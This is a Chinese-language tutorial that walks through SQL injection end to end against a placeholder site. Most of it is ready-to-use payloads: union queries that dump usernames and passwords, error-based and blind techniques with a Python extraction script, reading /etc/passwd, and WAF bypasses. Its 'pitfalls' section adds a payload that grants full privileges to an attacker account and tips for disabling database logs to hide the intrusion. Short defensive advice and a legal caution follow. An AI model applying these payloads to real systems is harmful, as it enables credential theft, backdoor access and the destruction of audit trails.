1. SQL注入实战入门:从原理到手动脱库全解析
第一次接触SQL注入是在大学的安全课上,教授演示了如何通过一个简单的单引号让整个登录系统崩溃。当时我就被这种"四两拨千斤"的攻击方式震撼了——不需要复杂的工具,仅凭构造特殊的输入就能直接访问数据库核心内容。十年过去了,SQL注入依然是Web安全领域的头号威胁,OWASP Top 10常年位居榜首。本文将带你从零开始,通过实战视角理解SQL注入的本质,掌握手动脱库的核心技巧,并分享我在渗透测试中积累的典型避坑经验。
2. SQL注入核心原理与漏洞识别
2.1 SQL注入的本质与分类
SQL注入的本质是"数据与代码的混淆"。当应用程序将用户输入直接拼接到SQL语句中执行时,攻击者通过构造特殊输入,使这些输入被解释为SQL代码而非普通数据。根据注入点数据类型,主要分为:
- 数字型注入:
id=1变为id=1 or 1=1-- - 字符型注入:
name='admin'变为name='admin' or '1'='1'-- - 搜索型注入:
search=%测试%变为search=%' and 1=convert(int,(select table_name from information_schema.tables))--%
关键区别:字符型需要闭合引号,数字型直接拼接逻辑表达式
2.2 手工检测的六种经典手法
在自动化工具泛滥的今天,手工检测仍是资深安全工程师的必备技能:
- 单引号测试:输入
'观察是否报错(如MySQL的You have an error in your SQL syntax) - 逻辑测试:
and 1=1(正常返回)and 1=2(无结果)
- 延时检测:
'; if (system_version like '%10%') waitfor delay '0:0:5'-- - 报错注入:
' and updatexml(1,concat(0x7e,(select user()),0x7e),1)-- - 堆叠查询:
'; select sleep(5)-- - 盲注特征:
- 布尔盲注:
and length(database())=4 - 时间盲注:
and if(ascii(substr(database(),1,1))>100,sleep(3),0)
- 布尔盲注:
3. 手动脱库实战全流程
3.1 信息收集阶段
假设目标URL为http://vuln.site/view.php?id=1,按以下步骤操作:
判断注入类型:
http://vuln.site/view.php?id=1 and 1=1 # 正常 http://vuln.site/view.php?id=1 and 1=2 # 异常 → 数字型注入获取基础信息:
/* 数据库版本 */ and 1=2 union select 1,version(),3,4-- /* 当前数据库 */ and 1=2 union select 1,database(),3,4-- /* 用户权限 */ and 1=2 union select 1,user(),3,4--
3.2 数据结构探测
获取所有表名(MySQL示例):
and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--获取关键表字段(假设发现users表):
and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--
3.3 数据提取技巧
常规导出:
and 1=2 union select 1,username,password,4 from users--大字段处理:
and 1=2 union select 1,substring(password,1,50),substring(password,51,100),4 from users where id=1--文件导出(需FILE权限):
' union select 1,load_file('/etc/passwd'),3,4 into outfile '/tmp/passwd'--
4. 高阶绕过与特殊场景处理
4.1 WAF绕过实战技巧
大小写混合:
aNd 1=1 uNioN sEleCt 1,2,3,4注释分割:
/*!and*/ 1=1 /*!union*/ /*!select*/ 1,2,3,4等价函数替换:
and extractvalue(1,concat(0x7e,user()))HTTP参数污染:
?id=1&id=2 union select 1,2,3,4
4.2 不同数据库特性利用
| 数据库 | 特有函数 | 注释语法 | 系统表 |
|---|---|---|---|
| MySQL | group_concat() | -- 或 # | information_schema |
| MSSQL | stuff() | -- | sys.objects |
| Oracle | listagg() | -- | all_tables |
| PostgreSQL | string_agg() | -- | pg_catalog.pg_tables |
5. 手工脱库十大避坑指南
编码陷阱:
- URL编码问题:
'需编码为%27 - 双重编码场景:
%2527实际是单引号
- URL编码问题:
权限不足处理:
/* 尝试提升权限 */ '; grant all privileges on *.* to 'attacker'@'%' identified by 'pwd'--数据截断应对:
- 使用
substring()分段获取 - 设置
group_concat_max_len值
- 使用
盲注加速技巧:
# 二分法优化盲注 import requests url = "http://vuln.site/login.php" payload = "admin' and ascii(substr(database(),{},1))>{}-- " for i in range(1,10): low, high = 0, 127 while low <= high: mid = (low+high)//2 r = requests.post(url, data={'uname':payload.format(i,mid)}) if "Welcome" in r.text: low = mid + 1 else: high = mid - 1 print(chr(high))日志清理备忘:
- MySQL:
set global general_log = off - MSSQL:
EXEC sp_configure 'show advanced options', 1
- MySQL:
时间盲注误判:
- 网络延迟可能导致误判
- 建议设置基准时间:
if(1=1,sleep(2),0)先测响应时间
CSRF令牌处理:
- 先获取有效token再构造注入
- 使用Burp Suite的Macro功能自动更新token
JSON注入特殊处理:
{"id":"1' and 1=1-- "} 需要闭合双引号二次注入识别:
- 注册时插入payload
- 后续功能触发(如修改资料时执行)
法律风险规避:
- 仅测试授权目标
- 使用DVWA、SQLi-Labs等合法靶场练习
6. 防御方案与检测手法
6.1 开发层面防护
参数化查询(Java示例):
String query = "SELECT * FROM users WHERE id = ?"; PreparedStatement stmt = conn.prepareStatement(query); stmt.setInt(1, userId);输入过滤:
- 白名单验证(如只允许数字)
- 转义特殊字符(
mysql_real_escape_string())
最小权限原则:
CREATE USER 'webuser'@'localhost' IDENTIFIED BY 'password'; GRANT SELECT ON app_db.* TO 'webuser'@'localhost';
6.2 运维层面加固
WAF规则示例(ModSecurity):
SecRule ARGS "@detectSQLi" "id:1000,phase:2,deny"数据库审计:
-- MySQL审计插件 INSTALL PLUGIN audit_log SONAME 'audit_log.so';错误信息处理:
- 生产环境关闭详细错误
- 自定义错误页面
在真实渗透测试中,我遇到最棘手的案例是一个使用自定义过滤规则的电商网站。它过滤了所有常见关键词但遗漏了||运算符,最终通过admin'||'1'='1成功绕过。这种经验告诉我,永远要多角度尝试非常规payload,有时候最基础的技巧反而最有效。